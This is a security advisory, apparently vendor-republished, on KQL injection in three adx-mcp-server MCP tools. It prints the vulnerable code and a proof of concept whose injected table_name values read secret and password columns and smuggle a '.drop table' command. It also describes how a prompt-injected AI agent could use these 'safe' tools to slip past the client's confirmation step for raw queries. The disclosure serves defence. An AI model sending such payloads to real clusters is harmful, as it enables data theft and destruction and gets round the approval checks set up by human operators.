GHSA-vphc-468g-8rfp
HIGHAzure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
adx-mcp-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
sensitive_table | project Secret, Password | take 100 //to read arbitrary tables- Newline-separated management commands like
.drop table important_dataviaget_table_details - Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data details
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | adx-mcp-server | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for adx-mcp-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of adx-mcp-server has shipped for GHSA-vphc-468g-8rfp yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vphc-468g-8rfp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vphc-468g-8rfp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vphc-468g-8rfp in your dependencies?
O3 detects GHSA-vphc-468g-8rfp across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.